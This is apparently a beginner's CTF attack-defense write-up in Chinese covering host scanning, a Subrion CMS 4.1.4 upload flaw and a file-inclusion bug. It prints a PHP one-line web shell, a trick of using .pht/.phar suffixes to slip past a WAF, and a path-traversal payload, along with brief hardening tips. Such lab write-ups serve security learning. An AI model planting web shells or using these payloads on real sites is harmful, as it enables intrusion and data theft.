1.扫描局域网内存活主机
扫描脚本如下
import socket
import os
def scan_hosts(base_domain):
for i in range(1, 255):
domain = base_domain.replace("X", str(i))
try:
ip = socket.gethostbyname(domain)
response = os.system("ping -c 1 " + ip) # 发送1个 Ping 请求
if response == 0:
print(ip, "is up!")
else:
print(ip, "is down!")
except socket.gaierror:
print("Failed to resolve", domain)
base_domain = "192-168-1-X.pvp3417.bugku.cn"
scan_hosts(base_domain)
2.将自己本机的网站源码下载下来进行seay代码审计
审计结果如下
3.审计并没有什么结果,继续分析网站,发现网站框架为Subrion CMS v 4.1.4,找到该版本可以利用的漏洞
这里找到一个文件上传点,可以传入一句话木马进行getshell,这里使用pht或者phar后缀进行上传以免被waf检测到删除
<?php eval($_POST["x"]);?>
右键查看木马文件传入路径为/uploads,文件上传成功
4。使用Antsward进行连接,成功获取到flag(这里只要在文件上传时过滤文件后缀名即可做到加固的作用,咱就是说这里就不建议上waf,这里会直接导致网站访问不到,踩雷了扣100分)
5.这里还发现一个漏洞,在/game中有一个文件包含漏洞
含有include函数,即可传一个file参数进行文件包含且没有任何过滤
../../../../flag
加固方法:
使用preg_match();函数进行过滤
preg_match("/file|flag/i",$FILE)
\\=\,\\=\,\\
\!|\.|\*|\?|@|#\
\为转义字符所以要用\\
6.这里还有最后一个PWN漏洞,开放了9999端口直接nc连接
7.分析静态附件,在地址004011F6存在命令执行
查看源代码并分析得到
8.因此,出口地址直接等于命令执行的地址即可利用命令执行拿到flag
没学过pwn,不知道怎么加固,师傅们带带菜菜
第一次打AWD太菜了师傅们见谅呜呜呜